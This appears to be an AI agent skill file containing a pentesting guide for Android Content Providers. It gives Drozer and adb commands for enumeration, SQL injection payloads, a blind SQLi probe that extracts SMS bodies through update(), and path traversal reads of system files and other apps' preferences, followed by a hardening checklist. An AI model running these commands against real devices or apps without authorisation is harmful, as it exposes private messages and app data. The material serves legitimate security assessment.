| name | android-content-provider-pentest |
| description | Android Content Provider security testing and exploitation. Use this skill whenever you need to enumerate, analyze, or exploit Android Content Providers during mobile app pentesting. This includes finding exposed providers, testing for SQL injection, path traversal, permission bypasses, and data exfiltration. Trigger this skill for any Android security assessment involving Content Providers, whether you're using Drozer, ADB cmd content, or manual testing. Also use when investigating exported providers, writePermission omissions, or recent CVEs like CVE-2024-43089. |
Android Content Provider Pentesting
A comprehensive guide for security testing Android Content Providers.
Overview
Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:
- Exported providers without proper permissions
- SQL injection in query/update/delete operations
- Path traversal in file-backed providers
- Missing writePermission declarations
Quick Start
- Enumerate providers:
run app.provider.info -a <package>
- Find accessible URIs:
run scanner.provider.finduris -a <package>
- Test for vulnerabilities: SQL injection, path traversal, permission bypass
Enumeration
List all providers for a package
dz> run app.provider.info -a com.example.app
Key fields to check:
Read Permission / Write Permission - null means no permission required
Multiprocess Allowed - true increases attack surface
Path Permissions - specific path-level restrictions
Red flags:
Read Permission: null AND Write Permission: null = fully exposed
Read Permission set but Write Permission: null = potential blind SQLi vector
Multiprocess Allowed: True = cross-process attacks possible
Find accessible URIs
dz> run scanner.provider.finduris -a com.example.app
This attempts to query common URI patterns and reports which ones are accessible.
Note: Path /Keys vs /Keys/ matters - developers often secure one but not the other.
Modern: Use cmd content (ADB ≥ 8.0)
No agent installation required:
adb shell cmd content query --uri content://com.example.provider/path/
adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337
adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'
Database-Backed Providers
Query data
dz> run app.provider.query content://com.example.provider/path/ --vertical
Insert data
dz> run app.provider.insert content://com.example.provider/path/ \
--bind column1:s:value1 \
--bind column2:i:123
Type flags: --string, --double, --float, --integer, --long, --short, --boolean
Update data
dz> run app.provider.update content://com.example.provider/path/ \
--bind column1:s:newvalue \
--where "id=1"
Delete data
dz> run app.provider.delete content://com.example.provider/path/ \
--where "id=1"
SQL Injection Testing
Manual testing
dz> run app.provider.query content://com.example.provider/path/ \
--selection "'"
dz> run app.provider.query content://com.example.provider/path/ \
--projection "* FROM sqlite_master WHERE type='table';--"
Automatic detection
dz> run scanner.provider.injection -a com.example.app
List accessible tables
dz> run scanner.provider.sqltables -a com.example.app
Blind SQLi via update()
When writePermission is omitted but update() is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.
Discovery:
- Check for providers with
readPermission set but writePermission: null
- Confirm
update() is implemented
- Verify target table exists in same DB via
sqlite_master
Probe example:
adb shell cmd content update \
--uri content://service-number/service_number \
--bind rowid:s:123 \
--where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
TRUE if update() > 0 or UNIQUE constraint exception thrown.
Use the scripts/blind_sqli_extractor.py script for automated extraction.
File System-Backed Providers
Read files
dz> run app.provider.read content://com.example.provider/path/to/file
Path traversal testing
dz> run app.provider.read content://com.example.provider/../../../etc/hosts
Automatic detection
dz> run scanner.provider.traversal -a com.example.app
Modern Tooling (2023-2025)
Drozer 3.x
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
New modules:
scanner.provider.exported - list only exported providers
app.provider.grant - handle FLAG_GRANT_URI_PERMISSION on Android 12+
- Better Scoped Storage handling for Android 11+
Grant URI permissions (Android 12+)
dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path
Common Vulnerabilities
writePermission omission
When a provider has readPermission but no writePermission, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.
Real-world examples:
content://service-number/service_number
content://push-mms/push
content://push-shop/push_shop
Path traversal in openFile()
CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Co-location attacks
Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.
Hardening Checklist
- Set
android:exported="false" unless the provider must be public (mandatory from API 31)
- Declare both
readPermission and writePermission
- Use
SQLiteQueryBuilder with projection maps
- Canonicalize paths in
openFile() to prevent traversal
- Keep sensitive tables in separate databases
- Use
FileProvider or Storage Access Framework for file exposure
Workflow Summary
- Enumerate:
app.provider.info + scanner.provider.finduris
- Classify: Database-backed vs file-backed
- Test permissions: Check for null writePermission
- Exploit: SQL injection, path traversal, blind exfiltration
- Verify: Use
scanner.provider.injection and scanner.provider.traversal
References